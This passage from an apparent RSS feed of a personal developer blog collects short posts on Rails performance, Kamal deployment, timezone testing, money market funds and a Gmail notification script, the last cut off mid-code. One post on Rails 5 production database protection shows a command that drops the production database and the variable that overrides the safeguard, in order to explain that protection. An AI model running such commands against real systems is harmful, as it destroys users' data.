  <link>https://jch.github.io/posts/2024-10-14-customize-turbo-view-transitions.html
</link>
  <guid>https://jch.github.io/posts/2024-10-14-customize-turbo-view-transitions.html
</guid>
  <pubDate>Mon, 14 Oct 2024 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p>View transitions became available in Safari 18. Turbo had support for this, and the default experience is great in other browsers. There's a small hiccup that the default iOS and Safari browser back/forward swipe navigation animations cannot be disabled, leading to a double animation:</p>
<p><a target="_blank" rel="noopener noreferrer" href="/images/view-transition-double.gif"><img src="/images/view-transition-double.gif" alt="" style="max-width: 100%;"></a></p>
<p>The intuitive turbo lifecycle callback to fix this would be to customize <code>turbo:before-render</code>. However, that's too late in the lifecycle. Instead, the fix was to conditionally disable view transitions on swipe gesture navigation by removing the view-transition meta tag in <code>turbo:before-cache</code>. Source and demo up at <a href="https://jch.github.io/turbo-cancel-view-transition/" rel="nofollow">https://jch.github.io/turbo-cancel-view-transition/</a>
Safari has the least friendly progressive web app experience, but I'm using it for my personal project. Hope this helps you in yours.</p>
  ]]></description>
</item>

<item>
  <title>Bake-off: It's Performance Week!</title>
  <link>https://jch.github.io/posts/2024-09-14-bake-off-rails-performance-week.html
</link>
  <guid>https://jch.github.io/posts/2024-09-14-bake-off-rails-performance-week.html
</guid>
  <pubDate>Sat, 14 Sep 2024 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p>tl;dr I spent a week to bring <a href="https://jch.app" rel="nofollow">https://jch.app</a> from 3s+ pages to ~150ms at the 99%tile</p>
<p>Back again after my earlier rant about deployments this week. I run a personal project for tracking my investments at <a href="https://jch.app" rel="nofollow">https://jch.app</a>. Once I was happy with the functionality, the slow page loads became annoying. I hope this random collection of notes and search keywords helps another solo dev out there.</p>
<p>puma: I was running out of memory on render's 512MB of ram. Given the low traffic, I cut down the workers so that it was running in standalone mode with multiple threads. slow/occasionally broken -&gt; slow.</p>
<p>rack-mini-profiler: I ran this locally and in production to get a rough timing and breakdown between code and sql calls. In-memory storage of results is fine since I was testing pages I knew were slow.</p>
<p>propshaft / sprockets: A surprising finding from flamegraphs was that propshaft was taking a significant percentage of time in development (Dir.[]). This wasn't an issue in production since static assets were already precompiled and served outside rails, but I switched to sprockets to make it easier to compare local / prod timings. Would be an interesting problem to dig into further.</p>
<p>solid_cache: I used this to cache the custom sql queries I use to calculate a time series of networth (10 years of historical stock prices against my holdings). Having it cache to db keeps my infrastructure surface area small. 3+ seconds down to ~1s.</p>
<p>turbo frames: Lazy load the long list of assets so that it's only fetched when it comes into view. 1s -&gt; 500ms. Breaking up the page into partials also shows how much time each partial takes with the mini_profiler, and makes the flamegraph easier to read.</p>
<p>ActiveRecord::QueryMethods#select: pushing some calculations to sql instead of materializing the record and doing the calculation in ruby. e.g. holdings.select``("SUM(shares * price)") 500ms -&gt; 300ms</p>
<p>Increasing compute: I was hosting on render.com and increased the compute from Starter $7/mo 0.5CPU to Standard $25/mo 1CPU. Postgresql instance stayed the same at 0.5CPU. This did roughly half the request time to ~150ms. But I was curious to try out kamal and compare performance to a VPS like digital ocean. This was a good stopping point for getting to around 100-150ms page latency by mid-week. Everything after was new and for fun.</p>
<p>kamal / docker / digital ocean: Digital Ocean was simple enough to start a $4/mo droplet. Kamal source code is easy to walk through, and served as a starting point for what docker areas to learn about. Docker is new to me, but the documentation is good (particularly the Engine section). I ran into an issue with not being able to connect my app container to my postgres container, but that was solved after understanding how docker handles networking. tldr is to specify the IP instead of localhost from inside the container, or switch the network adapter to "network = host".</p>
<p>dockerfile-rails: unfortunately, I didn't run the app long enough on the vanilla rails docker file to compare, but the fly.io template have a couple memory optimizations. Would be interesting to compare the memory usage with the stock recommendations.</p>
<p>cloudflare: render had my origin servers behind a CDN, but since I moved to digital ocean, I configured my own here. Rails asset pipeline can be CDN aware, but I proxied the entire domain and found the default file extensions it caches to be sufficient. The only cloudflare config I had to change was to set the SSL to full to avoid redirect loop b/c traefik was rewriting all my traffic to SSL already.</p>
<p>deploy speed: I'm running an intel MacBook prod, so turning off multiarch under builder cut my deploy down by more than half (3min to 1min+)</p>
  ]]></description>
</item>

<item>
  <title>Personal project deployment is both harder than easier than ever</title>
  <link>https://jch.github.io/posts/2024-09-01-personal-project-deploy-is-harder-and-easier.html
</link>
  <guid>https://jch.github.io/posts/2024-09-01-personal-project-deploy-is-harder-and-easier.html
</guid>
  <pubDate>Sun, 01 Sep 2024 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p>Played with kamal for the first time today to deploy my app to a digital ocean droplet. No problems with the interface, but so many layers to the actual machine and a pain to debug at each layer.</p>
<p>Ruby, docker, registry, vm, actual hardware.</p>
<p>Nice that kamal and containers provide an abstraction to where you host.</p>
<p>All this because I didn’t want to jump to the $25/mo render plan for my personal project to boost cpu</p>
<p>It's all setup now at <a href="https://jch.app" rel="nofollow">https://jch.app</a> Even on the smallest droplet $4/mo, my heaviest page is 3-4x faster.</p>
  ]]></description>
</item>

<item>
  <title>Saving $1,000 in interest using money market funds to pay bills</title>
  <link>https://jch.github.io/posts/2024-08-19-saving-1000-interest-using-money-market-funds-for-bills.html
</link>
  <guid>https://jch.github.io/posts/2024-08-19-saving-1000-interest-using-money-market-funds-for-bills.html
</guid>
  <pubDate>Mon, 19 Aug 2024 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p>When interest rates were near 0% between 2008 through 2020, it made a negligible
difference to pay bills from checkings or savings. But with savings rates
hovering around 5%, it's worth about $1,000 per year for the $20k we keep in
cash for paying bills.</p>
<p>I made a simple system for paying bills that would follow interest rates, and
reduces taxes on the earned interest.</p>
<ul>
<li>Use brokerage as a payment account to take advantage of high money market
interest rates</li>
<li>Choose tax exempt money market funds to save on taxes, especially in states
with high taxes</li>
</ul>
<p>As a California resident, Fidelity makes this easy with
<a href="https://fundresearch.fidelity.com/mutual-funds/summary/31617H300" rel="nofollow">FDLXX</a>:</p>
<blockquote>
<p>The Adviser normally invests at least 99.5% of the fund's total assets in cash
and U.S. Treasury securities. Potentially entering into reverse repurchase
agreements. Normally investing in securities whose interest is exempt from
state and local income taxes.</p>
</blockquote>
<p>Residents in other states can find equivalents easily with a search for "tax
exempt money market funds". A nice feature of this particular fund is it can
<a href="https://www.reddit.com/r/fidelityinvestments/comments/1aql21n/fdlxx_auto_liquidate_feature/" rel="nofollow">auto-liquidate</a>,
meaning that payments and transfers will automatically sell this fund as needed.
We do have to manually purchase this fund because it's not available as a core
position. The core positions SPAXX and FZFXX also yield around ~5% currently,
but my understanding is they're federal and state taxable, which would hit us
with a ~22% and ~8% tax bill respectively; Eating away $300 a year in interest.
There are state specific municipal bond funds that are federal and state tax
exempt, but current yields net tax savings are below our marginal tax brackets.
<a href="https://www.mymoneyblog.com/turbotax-us-treasury-interest-mutual-fund-state-exempt.html" rel="nofollow">TurboTax has a checkbox to enter this information</a>.</p>
<p>We're not holding additional cash to take advantage of higher yields because we
are sticking with our investing strategy, but it's a nice bonus / inflation
offset to earn a little on cash we need for our day-to-day expenses. This
approach doesn't require chasing new account bonuses, or promotional interest
rates with caveats. When rates decrease, we'll lose some interest, but it's a
good set-and-forget system.</p>
  ]]></description>
</item>

<item>
  <title>Ruby timezones and testing</title>
  <link>https://jch.github.io/posts/2024-08-15-ruby-timezones-and-testing.html
</link>
  <guid>https://jch.github.io/posts/2024-08-15-ruby-timezones-and-testing.html
</guid>
  <pubDate>Thu, 15 Aug 2024 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p>I had a test in <a href="https://jch.app" rel="nofollow">jch.app</a> which fetched data by date, and kept
being off by one day. The minimal failing test case became:</p>
<div class="highlight highlight-source-ruby"><pre><span class="pl-v">Timecop</span><span class="pl-kos">.</span><span class="pl-en">freeze</span><span class="pl-kos">(</span><span class="pl-s">"2024/03/15"</span><span class="pl-kos">)</span> <span class="pl-k">do</span>
  <span class="pl-en">assert_equal</span> <span class="pl-v">Date</span><span class="pl-kos">.</span><span class="pl-en">current</span><span class="pl-kos">,</span> <span class="pl-v">Date</span><span class="pl-kos">.</span><span class="pl-en">today</span>
<span class="pl-k">end</span></pre></div>
<p>Turns out, this was documented behavior that goes way back to 2011. From the
timecop README:</p>
<blockquote>
<p>Sometimes
<a href="https://rails.lighthouseapp.com/projects/8994/tickets/6410-dateyesterday-datetoday" rel="nofollow">Rails Date/Time methods don't play nicely with Ruby Date/Time methods</a>.
Be careful mixing Ruby Date.today with Rails Date.tomorrow / Date.yesterday as
things might break.</p>
</blockquote>
<p>Here are the differences between ruby's builtin Time and Date methods, compared
with using ActiveSupport's TimeWithZone and Date extensions.</p>
<div class="highlight highlight-source-ruby"><pre><span class="pl-en">irb</span>&gt; <span class="pl-c1">ENV</span><span class="pl-kos">[</span><span class="pl-s">'TZ'</span><span class="pl-kos">]</span><span class="pl-en"></span>
<span class="pl-c1">=&gt;</span> <span class="pl-c1">nil</span>
<span class="pl-en">irb</span>&gt; <span class="pl-v">Time</span><span class="pl-kos">.</span><span class="pl-en">now</span>
<span class="pl-c1">=&gt;</span> <span class="pl-c1">2024</span>-<span class="pl-c1">08</span>-<span class="pl-c1">15</span> <span class="pl-c1">13</span><span class="pl-pds">:48</span><span class="pl-pds">:14</span><span class="pl-kos">.</span><span class="pl-c1">639956</span> -<span class="pl-c1">0700</span>  <span class="pl-c"># no timezone set picks up system time</span>
<span class="pl-en">irb</span>&gt; <span class="pl-c1">ENV</span><span class="pl-kos">[</span><span class="pl-s">'TZ'</span><span class="pl-kos">]</span> <span class="pl-c1">=</span> <span class="pl-s">'US/Eastern'</span><span class="pl-en"></span>
<span class="pl-c1">=&gt;</span> <span class="pl-s">"US/Eastern"</span>
<span class="pl-en">irb</span>&gt; <span class="pl-v">Time</span><span class="pl-kos">.</span><span class="pl-en">now</span>
<span class="pl-c1">=&gt;</span> <span class="pl-c1">2024</span>-<span class="pl-c1">08</span>-<span class="pl-c1">15</span> <span class="pl-c1">16</span><span class="pl-pds">:48</span><span class="pl-pds">:46</span><span class="pl-kos">.</span><span class="pl-c1">905847</span> -<span class="pl-c1">0400</span>  <span class="pl-c"># ENV['TZ'] set overrides system time</span>

<span class="pl-en">irb</span>&gt; <span class="pl-en">require</span> <span class="pl-s">'date'</span>
<span class="pl-en">irb</span>&gt; <span class="pl-v">Date</span><span class="pl-kos">.</span><span class="pl-en">today</span>
<span class="pl-c1">=&gt;</span> <span class="pl-c">#&lt;Date: 2024-08-15 ((2460538j,0s,0n),+0s,2299161j)&gt;</span>

<span class="pl-en">irb</span>&gt; <span class="pl-v">Date</span><span class="pl-kos">.</span><span class="pl-en">today</span><span class="pl-kos">.</span><span class="pl-en">to_time</span>
<span class="pl-c1">=&gt;</span> <span class="pl-c1">2024</span>-<span class="pl-c1">08</span>-<span class="pl-c1">15</span> <span class="pl-c1">00</span><span class="pl-pds">:00</span><span class="pl-pds">:00</span> -<span class="pl-c1">0700</span>

<span class="pl-en">irb</span>&gt; <span class="pl-en">require</span> <span class="pl-s">'active_support'</span>
<span class="pl-en">irb</span>&gt; <span class="pl-en">require</span> <span class="pl-s">'active_support/core_ext/date/calculations'</span>
<span class="pl-en">irb</span>&gt; <span class="pl-v">Time</span><span class="pl-kos">.</span><span class="pl-en">zone</span> <span class="pl-c1">=</span> <span class="pl-s">'Asia/Tokyo'</span><span class="pl-en"></span>
<span class="pl-c1">=&gt;</span> <span class="pl-s">"Asia/Tokyo"</span>
<span class="pl-en">irb</span>&gt; <span class="pl-v">Time</span><span class="pl-kos">.</span><span class="pl-en">now</span>
<span class="pl-c1">=&gt;</span> <span class="pl-c1">2024</span>-<span class="pl-c1">08</span>-<span class="pl-c1">15</span> <span class="pl-c1">13</span><span class="pl-pds">:56</span><span class="pl-pds">:27</span><span class="pl-kos">.</span><span class="pl-c1">470616</span> -<span class="pl-c1">0700</span>  <span class="pl-c"># system time!</span>
<span class="pl-en">irb</span>&gt; <span class="pl-v">Time</span><span class="pl-kos">.</span><span class="pl-en">zone</span><span class="pl-kos">.</span><span class="pl-en">now</span>
<span class="pl-c1">=&gt;</span> <span class="pl-v">Fri</span><span class="pl-kos">,</span> <span class="pl-c1">16</span> <span class="pl-v">Aug</span> <span class="pl-c1">2024</span> <span class="pl-c1">05</span><span class="pl-pds">:56</span><span class="pl-pds">:30</span><span class="pl-kos">.</span><span class="pl-c1">666951000</span> <span class="pl-c1">JST</span> +<span class="pl-c1">09</span><span class="pl-pds">:00</span>  <span class="pl-c"># the following day b/c of +9 compared to my -7 system offset</span>
<span class="pl-en">irb</span>&gt; <span class="pl-v">Date</span><span class="pl-kos">.</span><span class="pl-en">today</span>  <span class="pl-c"># system time!</span>
<span class="pl-c1">=</span>&gt; <span class="pl-v">Thu</span><span class="pl-kos">,</span> <span class="pl-c1">15</span> <span class="pl-v">Aug</span> <span class="pl-c1">2024</span>
<span class="pl-en">irb</span>&gt; <span class="pl-v">Date</span><span class="pl-kos">.</span><span class="pl-en">current</span>  <span class="pl-c"># Time.zone date</span>
<span class="pl-c1">=&gt;</span> <span class="pl-v">Fri</span><span class="pl-kos">,</span> <span class="pl-c1">16</span> <span class="pl-v">Aug</span> <span class="pl-c1">2024</span></pre></div>
<p>Before I figured this out, my fix for the test was to stub</p>
<div class="highlight highlight-source-ruby"><pre><span class="pl-v">Date</span><span class="pl-kos">.</span><span class="pl-en">stubs</span><span class="pl-kos">(</span><span class="pl-pds">:current</span><span class="pl-kos">)</span><span class="pl-kos">.</span><span class="pl-en">returns</span><span class="pl-kos">(</span><span class="pl-v">Date</span><span class="pl-kos">.</span><span class="pl-en">parse</span><span class="pl-kos">(</span><span class="pl-s">"2024-01-01"</span><span class="pl-kos">)</span><span class="pl-kos">)</span></pre></div>
<p>Other methods have dates parameterized for testing. Since I'm not using any of
timecop's travel functionality, I decided to remove the dependency.</p>
<p><strong>Edit: 2024-08-28</strong> Rails has <a href="https://api.rubyonrails.org/v7.2.1/classes/ActiveSupport/Testing/TimeHelpers.html#method-i-travel_to" rel="nofollow">ActiveSupport::Testing::TimeHelpers</a> to do this without a dependency:</p>
<div class="highlight highlight-source-ruby"><pre><span class="pl-en">travel</span> <span class="pl-c1">1</span><span class="pl-kos">.</span><span class="pl-en">day</span>
<span class="pl-en">travel_do</span> <span class="pl-v">Date</span><span class="pl-kos">.</span><span class="pl-en">parse</span><span class="pl-kos">(</span><span class="pl-s">'2024-08-28'</span><span class="pl-kos">)</span> <span class="pl-kos">{</span> ... <span class="pl-kos">}</span>
<span class="pl-en">freeze_time</span> <span class="pl-kos">{</span>... <span class="pl-kos">}</span>
<span class="pl-en">freeze_time</span>
<span class="pl-c"># ...</span>
<span class="pl-en">unfreeze_time</span></pre></div>
<div class="markdown-heading"><h2 class="heading-element">Resources</h2><a id="user-content-resources" class="anchor" aria-label="Permalink: Resources" href="#resources"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<ul>
<li><a href="https://thoughtbot.com/blog/its-about-time-zones" rel="nofollow">Thoughtbot: It's about timezones</a></li>
<li><a href="https://github.com/travisjeffery/timecop/pull/416">Timecop PR #416: ActiveSupport Date.current differs from Date.today when Time.zone is set</a></li>
</ul>
  ]]></description>
</item>

<item>
  <title>Managing Rails client side navigation state</title>
  <link>https://jch.github.io/posts/2024-08-01-rails-manage-client-side-navigation-state.html
</link>
  <guid>https://jch.github.io/posts/2024-08-01-rails-manage-client-side-navigation-state.html
</guid>
  <pubDate>Thu, 01 Aug 2024 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p>tl;dr: Over thought it. Session made it obvious and simple</p>
<div class="highlight highlight-source-ruby"><pre><span class="pl-k">class</span> <span class="pl-v">HoldingsController</span> &lt; <span class="pl-v">ApplicationController</span>
  <span class="pl-k">def</span> <span class="pl-en">index</span>
    <span class="pl-en">session</span><span class="pl-kos">[</span><span class="pl-pds">:period</span><span class="pl-kos">]</span> <span class="pl-c1">=</span> <span class="pl-en">params</span><span class="pl-kos">[</span><span class="pl-pds">:period</span><span class="pl-kos">]</span>
  <span class="pl-k">end</span>
<span class="pl-k">end</span>

<span class="pl-c"># in the navigation partial</span>
&lt;%= <span class="pl-en">link_to</span> <span class="pl-s">"Holdings"</span><span class="pl-kos">,</span> <span class="pl-en">holdings_path</span><span class="pl-kos">(</span><span class="pl-pds">period</span>: <span class="pl-en">session</span><span class="pl-kos">[</span><span class="pl-pds">:period</span><span class="pl-kos">]</span><span class="pl-kos">)</span> %&gt;</pre></div>
<p>In my app, url path params maintains navigation state. For example, to see investment performance of holdings, there are links that look like:</p>
<pre><code>/holdings              # 1 day performance by default
/holdings?period=ytd   # year to date performance
/holdings?period=all   # all time performance
</code></pre>
<p>This is straightforward within the Holdings#index action, but the global navigation always points to /holdings so if I navigate to another page and click on the "Holdings", it'll default back to 1 day performance instead of remembering that the user has previously selected YTD or ALL.</p>
<p>What's have others done to keep this state globally? What makes the most sense from a UX perspective?</p>
<div class="markdown-heading"><h2 class="heading-element">Persist in the database</h2><a id="user-content-persist-in-the-database" class="anchor" aria-label="Permalink: Persist in the database" href="#persist-in-the-database"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Attach this as a property of current user, persist / restore across requests. This feels right to me if the state is important across different instances of the app. If I choose YTD performance on my phone, then open the app on the web, I would expect my previous choice to stick. In this sense, it feels like a global user preference that's saved across all clients.</p>
<div class="markdown-heading"><h2 class="heading-element">Persist in a session</h2><a id="user-content-persist-in-a-session" class="anchor" aria-label="Permalink: Persist in a session" href="#persist-in-a-session"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>This seems like a better abstraction than attaching it to user. If using cookie stores, users would go back to the default per client. If using database store, it'd be all clients.</p>
<div class="markdown-heading"><h2 class="heading-element">Persist in localStorage</h2><a id="user-content-persist-in-localstorage" class="anchor" aria-label="Permalink: Persist in localStorage" href="#persist-in-localstorage"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Do it all client side. Per client. Persist and restore from stimulus. I like this one the least because it feels complex without additional benefit.</p>
<p><a href="https://jch.app/demo" rel="nofollow">https://jch.app/demo</a> is a live demo.</p>
  ]]></description>
</item>

<item>
  <title>Skip tailwindcss build if already running</title>
  <link>https://jch.github.io/posts/2024-05-14-skip-tailwind-if-running.html
</link>
  <guid>https://jch.github.io/posts/2024-05-14-skip-tailwind-if-running.html
</guid>
  <pubDate>Tue, 14 May 2024 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p>This speeds up tests and other rake tasks. Not a big savings (~1s on my tiny app), but takes out the extra tailwind build step if it's already running.</p>
<div class="highlight highlight-source-ruby"><pre><span class="pl-c"># end of Rakefile</span>
<span class="pl-k">if</span> <span class="pl-v">Rails</span><span class="pl-kos">.</span><span class="pl-en">env</span><span class="pl-kos">.</span><span class="pl-en">test?</span> &amp;&amp; <span class="pl-c1">IO</span><span class="pl-kos">.</span><span class="pl-en">popen</span><span class="pl-kos">(</span><span class="pl-s">'ps'</span><span class="pl-kos">)</span><span class="pl-kos">.</span><span class="pl-en">readlines</span><span class="pl-kos">.</span><span class="pl-en">any?</span> <span class="pl-kos">{</span>|<span class="pl-s1">l</span>| <span class="pl-s1">l</span><span class="pl-kos">.</span><span class="pl-en">include?</span><span class="pl-kos">(</span><span class="pl-s">'tailwindcss -i'</span><span class="pl-kos">)</span><span class="pl-kos">}</span>
  <span class="pl-en">puts</span> <span class="pl-s">"Rakefile: tailwindcss:watch running, skipping tailwindcss:build"</span>
  <span class="pl-v">Rake</span>::<span class="pl-v">Task</span><span class="pl-kos">[</span><span class="pl-s">"test:prepare"</span><span class="pl-kos">]</span><span class="pl-kos">.</span><span class="pl-en">prerequisites</span><span class="pl-kos">.</span><span class="pl-en">delete</span><span class="pl-kos">(</span><span class="pl-s">"tailwindcss:build"</span><span class="pl-kos">)</span>
<span class="pl-k">end</span></pre></div>
  ]]></description>
</item>

<item>
  <title>Rails 5 Production Database Protection</title>
  <link>https://jch.github.io/posts/2016-04-01-rails-5-protect-production-database.html
</link>
  <guid>https://jch.github.io/posts/2016-04-01-rails-5-protect-production-database.html
</guid>
  <pubDate>Fri, 01 Apr 2016 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p>Rails 5 <a href="https://github.com/rails/rails/pull/22967">prevents bad things™</a> from happening to production databases:</p>
<div class="highlight highlight-source-shell"><pre>$ RAILS_ENV=production rake db:drop
rake aborted<span class="pl-k">!</span>
ActiveRecord::ProtectedEnvironmentError: You are attempting to run a destructive action against your <span class="pl-s"><span class="pl-pds">'</span>production<span class="pl-pds">'</span></span> database
If you are sure you want to continue, run the same <span class="pl-c1">command</span> with the environment variable
DISABLE_DATABASE_ENVIRONMENT_CHECK=1</pre></div>
<p>Protected environments are configurable:</p>
<div class="highlight highlight-source-ruby"><pre><span class="pl-c"># config/application.rb</span>
<span class="pl-v">ActiveRecord</span>::<span class="pl-v">Base</span><span class="pl-kos">.</span><span class="pl-en">protected_environments</span> &lt;&lt; <span class="pl-s">'staging'</span></pre></div>
<p>For older versions of Rails, I add the following to <code>lib/tasks/db.rake</code>:</p>
<div class="highlight highlight-source-ruby"><pre><span class="pl-en">namespace</span> <span class="pl-pds">:db</span> <span class="pl-k">do</span>
  <span class="pl-en">desc</span> <span class="pl-s">'Protect against running task in production'</span>
  <span class="pl-en">task</span> <span class="pl-pds">:protect</span> <span class="pl-k">do</span>
    <span class="pl-en">fail</span> <span class="pl-s">'Refusing to run in production environment'</span> <span class="pl-k">if</span> <span class="pl-v">Rails</span><span class="pl-kos">.</span><span class="pl-en">env</span> == <span class="pl-s">'production'</span>
  <span class="pl-k">end</span>

  <span class="pl-en">task</span> <span class="pl-pds">:drop</span> <span class="pl-c1">=&gt;</span> <span class="pl-pds">:protect</span>
  <span class="pl-en">task</span> <span class="pl-s">'schema:load'</span> <span class="pl-c1">=&gt;</span> <span class="pl-pds">:protect</span>
<span class="pl-k">end</span></pre></div>
  ]]></description>
</item>

<item>
  <title>How to sort GitHub notifications in Gmail</title>
  <link>https://jch.github.io/posts/2016-02-10-how-to-sort-github-notifications-in-gmail.html
</link>
  <guid>https://jch.github.io/posts/2016-02-10-how-to-sort-github-notifications-in-gmail.html
</guid>
  <pubDate>Wed, 10 Feb 2016 00:00:00 -0800</pubDate>
  <description><![CDATA[
<p>Too many GitHub notifications in Gmail? This post gives an example of how to use
<a href="https://developers.google.com/apps-script/" rel="nofollow">Google app script</a> to automatically
add labels like "Direct mention" and "Participating" to threads you care about.</p>
<div class="markdown-heading"><h2 class="heading-element">The script</h2><a id="user-content-the-script" class="anchor" aria-label="Permalink: The script" href="#the-script"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>My script builds upon Lyzi Diamond's post <a href="http://lyzidiamond.com/posts/github-notifications-google-script/" rel="nofollow">"Manage GitHub notification messages
in Gmail with Google Apps
Scripts"</a>.</p>
<p>The full API reference for Gmail is available at
<a href="https://developers.google.com/apps-script/reference/gmail/" rel="nofollow">https://developers.google.com/apps-script/reference/gmail/</a>.</p>
<div class="highlight highlight-source-js"><pre><span class="pl-c">// Main function</span>
<span class="pl-k">function</span> <span class="pl-en">processInbox</span><span class="pl-kos">(</span><span class="pl-kos">)</span> <span class="pl-kos">{</span>
  <span class="pl-k">var</span> <span class="pl-s1">unreadThreadCount</span> <span class="pl-c1">=</span> <span class="pl-v">GmailApp</span><span class="pl-kos">.</span><span class="pl-en">getInboxUnreadCount</span><span class="pl-kos">(</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
  <span class="pl-k">if</span> <span class="pl-kos">(</span><span class="pl-s1">unreadThreadCount</span> <span class="pl-c1">==</span> <span class="pl-c1">0</span><span class="pl-kos">)</span> <span class="pl-kos">{</span> <span class="pl-k">return</span> <span class="pl-c1">null</span><span class="pl-kos">;</span> <span class="pl-kos">}</span>

  <span class="pl-k">var</span> <span class="pl-s1">threads</span> <span class="pl-c1">=</span> <span class="pl-v">GmailApp</span><span class="pl-kos">.</span><span class="pl-en">getInboxThreads</span><span class="pl-kos">(</span><span class="pl-c1">0</span><span class="pl-kos">,</span> <span class="pl-s1">unreadThreadCount</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
  <span class="pl-k">for</span> <span class="pl-kos">(</span><span class="pl-k">var</span> <span class="pl-s1">i</span> <span class="pl-c1">=</span> <span class="pl-c1">0</span><span class="pl-kos">;</span> <span class="pl-s1">i</span> <span class="pl-c1">&lt;</span> <span class="pl-s1">threads</span><span class="pl-kos">.</span><span class="pl-c1">length</span><span class="pl-kos">;</span> <span class="pl-s1">i</span><span class="pl-c1">++</span><span class="pl-kos">)</span> <span class="pl-kos">{</span>
    <span class="pl-k">var</span> <span class="pl-s1">thread</span> <span class="pl-c1">=</span> <span class="pl-s1">threads</span><span class="pl-kos">[</span><span class="pl-s1">i</span><span class="pl-kos">]</span><span class="pl-kos">;</span>
    <span class="pl-k">var</span> <span class="pl-s1">messages</span> <span class="pl-c1">=</span> <span class="pl-s1">thread</span><span class="pl-kos">.</span><span class="pl-en">getMessages</span><span class="pl-kos">(</span><span class="pl-kos">)</span><span class="pl-kos">;</span>

    <span class="pl-k">if</span> <span class="pl-kos">(</span><span class="pl-kos">(</span><span class="pl-s1">messages</span><span class="pl-kos">[</span><span class="pl-c1">0</span><span class="pl-kos">]</span><span class="pl-kos">.</span><span class="pl-en">getFrom</span><span class="pl-kos">(</span><span class="pl-kos">)</span><span class="pl-kos">)</span><span class="pl-kos">.</span><span class="pl-en">indexOf</span><span class="pl-kos">(</span><span class="pl-s">"notifications@github.com"</span><span class="pl-kos">)</span> <span class="pl-c1">&gt;</span> <span class="pl-c1">-</span><span class="pl-c1">1</span><span class="pl-kos">)</span> <span class="pl-kos">{</span>
      <span class="pl-s1">thread</span><span class="pl-kos">.</span><span class="pl-en">moveToArchive</span><span class="pl-kos">(</span><span class="pl-kos">)</span><span class="pl-kos">;</span>

      <span class="pl-c">// Iterate through newest messages, returning a GmailThread if a label was added to the thread.</span>
      <span class="pl-c">// Only one label will be added, and they are listed in priority below.</span>
      <span class="pl-k">var</span> <span class="pl-s1">start</span> <span class="pl-c1">=</span> <span class="pl-v">Math</span><span class="pl-kos">.</span><span class="pl-en">max</span><span class="pl-kos">(</span><span class="pl-c1">0</span><span class="pl-kos">,</span> <span class="pl-s1">messages</span><span class="pl-kos">.</span><span class="pl-c1">length</span> <span class="pl-c1">-</span> <span class="pl-c1">1</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
      <span class="pl-k">var</span> <span class="pl-s1">label</span><span class="pl-kos">;</span>
      <span class="pl-k">for</span> <span class="pl-kos">(</span><span class="pl-k">var</span> <span class="pl-s1">j</span> <span class="pl-c1">=</span> <span class="pl-s1">start</span><span class="pl-kos">;</span> <span class="pl-s1">j</span> <span class="pl-c1">&gt;</span> <span class="pl-c1">-</span><span class="pl-c1">1</span><span class="pl-kos">;</span> <span class="pl-s1">j</span><span class="pl-c1">--</span><span class="pl-kos">)</span> <span class="pl-kos">{</span>
        <span class="pl-k">var</span> <span class="pl-s1">message</span> <span class="pl-c1">=</span> <span class="pl-s1">messages</span><span class="pl-kos">[</span><span class="pl-s1">j</span><span class="pl-kos">]</span><span class="pl-kos">;</span>
        <span class="pl-k">var</span> <span class="pl-s1">body</span> <span class="pl-c1">=</span> <span class="pl-s1">message</span><span class="pl-kos">.</span><span class="pl-en">getRawContent</span><span class="pl-kos">(</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
        <span class="pl-k">if</span> <span class="pl-kos">(</span><span class="pl-s1">body</span><span class="pl-kos">.</span><span class="pl-en">indexOf</span><span class="pl-kos">(</span><span class="pl-s">"X-GitHub-Reason: mention"</span><span class="pl-kos">)</span> <span class="pl-c1">&gt;</span> <span class="pl-c1">-</span><span class="pl-c1">1</span><span class="pl-kos">)</span> <span class="pl-kos">{</span>
          <span class="pl-k">return</span> <span class="pl-s1">thread</span><span class="pl-kos">.</span><span class="pl-en">addLabel</span><span class="pl-kos">(</span><span class="pl-v">GmailApp</span><span class="pl-kos">.</span><span class="pl-en">getUserLabelByName</span><span class="pl-kos">(</span><span class="pl-s">"Direct mention"</span><span class="pl-kos">)</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
        <span class="pl-kos">}</span> <span class="pl-k">else</span> <span class="pl-k">if</span> <span class="pl-kos">(</span><span class="pl-kos">(</span><span class="pl-s1">body</span><span class="pl-kos">.</span><span class="pl-en">indexOf</span><span class="pl-kos">(</span><span class="pl-s">"X-GitHub-Reason: author"</span><span class="pl-kos">)</span> <span class="pl-c1">&gt;</span> <span class="pl-c1">-</span><span class="pl-c1">1</span><span class="pl-kos">)</span> <span class="pl-c1">||</span> <span class="pl-kos">(</span><span class="pl-s1">body</span><span class="pl-kos">.</span><span class="pl-en">indexOf</span><span class="pl-kos">(</span><span class="pl-s">"X-GitHub-Reason: comment"</span><span class="pl-kos">)</span> <span class="pl-c1">&gt;</span> <span class="pl-c1">-</span><span class="pl-c1">1</span><span class="pl-kos">)</span><span class="pl-kos">)</span> <span class="pl-kos">{</span>
          <span class="pl-k">return</span> <span class="pl-s1">thread</span><span class="pl-kos">.</span><span class="pl-en">addLabel</span><span class="pl-kos">(</span><span class="pl-v">GmailApp</span><span class="pl-kos">.</span><span class="pl-en">getUserLabelByName</span><span class="pl-kos">(</span><span class="pl-s">"Participating"</span><span class="pl-kos">)</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
